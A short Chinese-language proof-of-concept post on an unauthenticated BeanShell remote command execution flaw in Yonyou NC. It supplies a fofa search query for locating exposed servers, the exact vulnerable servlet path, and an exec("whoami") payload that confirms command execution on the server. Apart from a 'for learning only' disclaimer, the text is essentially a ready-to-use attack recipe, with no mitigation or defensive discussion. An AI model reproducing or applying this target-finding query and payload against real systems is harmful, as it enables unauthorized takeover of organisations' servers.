简介
用友NC对外开放了BeanShell接口,可以在未授权的情况下直接访问该接口,并且构造恶意数据执行代码获取服务器命令执行。
fofa可以直接搜索:
title="YONYOU NC"
POC
拼接代码:
/servlet/~ic/bsh.servlet.BshServlet
漏洞验证
拼接poc代码请求后
测试一下exec函数命令执行
exec("whoami");
声明
提供的技术仅供学习参考测试,利用本文提供的信息造成的直接或简介损失由使用者自行承担。
结语
已无暇顾及过去,要向前走。